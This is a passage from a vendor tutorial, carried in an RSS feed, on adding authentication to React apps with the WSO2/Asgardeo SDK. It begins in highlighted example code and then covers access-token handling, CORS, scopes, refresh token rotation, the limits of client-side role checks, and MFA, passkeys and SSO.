class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text">Get My Profile</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">userData </span><span class="token operator">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">div</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">p</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text">Given Name: </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">userData</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">name</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">givenName</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">p</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">p</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text">Family Name: </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">userData</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">name</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">familyName</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">p</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">div</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">div</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">default</span><span class="token plain"> </span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">MyProfile</span><br></span></code></pre></div></div>
<p>In the above code apart from useState hook, we have imported useAsgardeo hook which is provided by the WSO2 React SDK and gives us access to authentication state and a built-in HTTP client.</p>
<p>Then we have received two important constants by calling the useAsgardeo hook.</p>
<ul>
<li class=""><strong>isSignedIn</strong> – tells us whether the user is authenticated.</li>
<li class=""><strong>http</strong> – a secure HTTP client provided by the SDK. This automatically attaches the current OAuth2 access token to outgoing requests.</li>
</ul>
<p>Then, we added a button. When the button is clicked, we call our API by executing the following function, which the function body closely resembles a standard fetch API call. And finally, we simply display the user profile data.</p>
<p>One habit to build early: token attachment is on by default, so turn it off deliberately when a request should not carry your credential. Calling a third-party API from the same client with attachment left on sends your user's access token to somebody else's server, and that is a leak nobody notices because nothing breaks.</p>
<p>Four things that go wrong here:</p>
<ul>
<li class=""><strong>CORS</strong>, which is not an authentication problem but presents as one. Adding an Authorization header makes the request preflighted, so your API must return your origin in Access-Control-Allow-Origin and Authorization in Access-Control-Allow-Headers. Miss the second and the browser blocks a request your API never sees, which reads exactly like a rejected token.</li>
<li class=""><strong>Scopes</strong>, which are decided at sign-in. An access token carries only the scopes you asked for during the authorization request. A 403 on a valid token almost always means a scope missing from your application configuration, not a defect in your React code.</li>
<li class=""><strong>Storage</strong>, which constrains how you read the token. The SDK's storage option takes sessionStorage, localStorage, browserMemory, or webWorker, and those correspond to the trade-offs in the storage section above. The interaction to know about: getAccessToken does not work under webWorker storage. That is the point of the worker rather than a limitation of it, because a token the main thread can read is a token injected script can read. On that setting, route calls through the SDK's HTTP client, which runs the request where the token already lives.</li>
<li class=""><strong>Expiry</strong>, which is the next section's problem. Access tokens are short-lived by design, so a 401 mid-session is normal operation and not a sign-in failure. Refresh once, retry the request, and only send the user back to sign-in if the refresh itself fails.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sessions-refresh-and-silent-authentication">Sessions, refresh, and silent authentication<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#sessions-refresh-and-silent-authentication" class="hash-link" aria-label="Direct link to Sessions, refresh, and silent authentication" title="Direct link to Sessions, refresh, and silent authentication" translate="no">​</a></h2>
<p>Access tokens are deliberately short-lived, so at some point one expires while your user is reading a page and clicking nothing. What happens next is the difference between an app that feels stable and one that logs people out at random.</p>
<p>The mechanism is a refresh: your app exchanges a React refresh token for a new access token in the background, and the user sees nothing. One requirement comes attached to that. <a href="https://datatracker.ietf.org/doc/html/rfc9700" target="_blank" rel="noopener noreferrer" class="">Best Current Practice for OAuth 2.0 Security (RFC 9700)</a> states that "Refresh tokens for public clients MUST be sender-constrained or use refresh token rotation." A React app is a public client, so the refresh token it holds should be single-use, with every refresh returning a new one and invalidating the old.</p>
<p>Rotation changes how you handle concurrency, and this is where implementations quietly break. If 6 API calls fail at once because one token expired and each fires its own refresh, five of them present a token that has already been spent, the authorization server reads that as replay, and it revokes the session. So queuing is not an optimization. It's what stops rotation from logging your user out.</p>
<p>Silent authentication is the other pattern you'll read about, and it deserves a warning rather than a recommendation. It re-runs the authorization request against the existing session at the identity provider, historically in a hidden iframe. Treat that as legacy. The provider's session cookie is a third-party cookie inside that iframe, so Safari and Brave block it by default and Firefox partitions it, and the request comes back with login_required rather than an error you can handle cleanly. The IETF's browser-based-apps draft makes the same point from the other direction, noting that third-party cookie blocking is exactly why "the use of refresh tokens has become significantly more attractive." If you need renewal without a refresh token, use a popup or a full redirect.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="roles-and-permissions-in-the-ui">Roles and permissions in the UI<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#roles-and-permissions-in-the-ui" class="hash-link" aria-label="Direct link to Roles and permissions in the UI" title="Direct link to Roles and permissions in the UI" translate="no">​</a></h3>
<p>One rule carries this section: the UI is never the enforcement point. Hiding a button is user experience, not security.</p>
<p>React role based access control means reading role or permission claims from the token and rendering accordingly, and it makes your product coherent. A user shouldn't see an admin panel link they can't use. But every one of those checks is cosmetic, and the API behind each action has to make the same decision independently, because a client-side check protects nothing.</p>
<p>There's also a staleness trap worth knowing. Role claims are baked into a token at issue time, so a permission revoked at 10:00 can still be present in a token until it expires. If your product needs faster propagation, shorten token lifetimes or fetch permissions from an endpoint rather than reading them from a claim.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="going-further-social-login-mfa-passkeys-and-enterprise-sso">Going further: social login, MFA, passkeys, and enterprise SSO<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#going-further-social-login-mfa-passkeys-and-enterprise-sso" class="hash-link" aria-label="Direct link to Going further: social login, MFA, passkeys, and enterprise SSO" title="Direct link to Going further: social login, MFA, passkeys, and enterprise SSO" translate="no">​</a></h2>
<p>Everything above is the foundation. The features users actually notice sit on top of it, and here's the property that makes learning the standards worth it: each of the four below is a change to your identity provider configuration, not to your React code. That's also the test to run on any vendor you're evaluating. If adding MFA means editing components, the abstraction leaked.</p>
<p>Social login lets users sign in with an existing account from a provider like Google, Microsoft, or GitHub. The connection is federated at the identity provider, so your React app still runs the same authorization code flow and receives the same tokens.</p>
<p>Multi-factor authentication adds a second proof. When it's adaptive, the second factor is conditional, prompted on a new device or an unusual location rather than on every sign-in, which is what keeps it from becoming friction users route around.</p>
<p>Passkeys replace passwords with a key pair bound to the user's device, built on FIDO2 and WebAuthn. For most consumer applications this is the highest-value upgrade on the list, because it removes the credential that phishing depends on. WSO2 Identity Platform documents this under <a href="https://wso2.com/identity-platform/capabilities/passkeys/" target="_blank" rel="noopener noreferrer" class="">passkeys</a>.</p>
<p>Enterprise single sign-on is the requirement that arrives with your first large customer, usually as "we use Okta" or "we need SAML." Your identity provider handles it through <a href="https://wso2.com/identity-platform/capabilities/single-sign-on/" target="_blank" rel="noopener noreferrer" class="">single sign-on and federation</a>, and it lands in your React app as no change at all.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="self-hosted-or-cloud-what-changes-in-your-react-code">Self-hosted or cloud: what changes in your React code<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#self-hosted-or-cloud-what-changes-in-your-react-code" class="hash-link" aria-label="Direct link to Self-hosted or cloud: what changes in your React code" title="Direct link to Self-hosted or cloud: what changes in your React code" translate="no">​</a></h2>
<p>At the protocol layer, the answer is nothing, and that's the point of building on standards rather than on an SDK. A conformant OpenID Connect (OIDC) provider publishes a discovery document, your app reads the endpoints from it, and the authorization code flow with PKCE runs identically whether the provider is running in a managed cloud or on a server in your own rack. Change the issuer, keep the protocol.</p>
<p><a href="https://wso2.com/identity-platform/" target="_blank" rel="noopener noreferrer" class="">WSO2 Identity Platform</a> is built on that premise. It runs as multi-tenant SaaS, and Enterprise adds a single-tenant private cloud instance and a self-hosted option where you download the components and run them on your own servers, on Kubernetes, or on an air-gapped network. The <a href="https://wso2.com/identity-platform/pricing" target="_blank" rel="noopener noreferrer" class="">pricing page</a> puts it plainly: "the platform is the same in all three."</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-to-go-from-here">Where to go from here<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#where-to-go-from-here" class="hash-link" aria-label="Direct link to Where to go from here" title="Direct link to Where to go from here" translate="no">​</a></h2>
<p>Authentication in React is a client-side ceremony around a server-side decision. Your React app never decides who a user is. It proves to an API that a decision was made, and almost every mistake in this area comes from forgetting which side of that line you're standing on.</p>
<p>Three things to take from this guide. Pick your option deliberately instead of installing the first SDK you find. Use the authorization code flow with PKCE, because the standards now require it for public clients. And treat every client-side check as user experience that your API still has to re-enforce.</p>
<p>To try it, <a href="https://asgardeo.io/signup" target="_blank" rel="noopener noreferrer" class="">sign up free</a> and follow the React quickstart, which gets you from an empty project to a working sign-in in a few minutes. If your requirements point toward running the identity provider yourself, <a href="https://wso2.com/products/downloads/?product=wso2is" target="_blank" rel="noopener noreferrer" class="">download WSO2 Identity Server</a> and start there instead. The protocol work you did above carries over unchanged. The SDK layer doesn't yet, so budget an afternoon for the provider and hook rename, or write against the OIDC endpoints and skip the question entirely.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
    </channel>
</rss>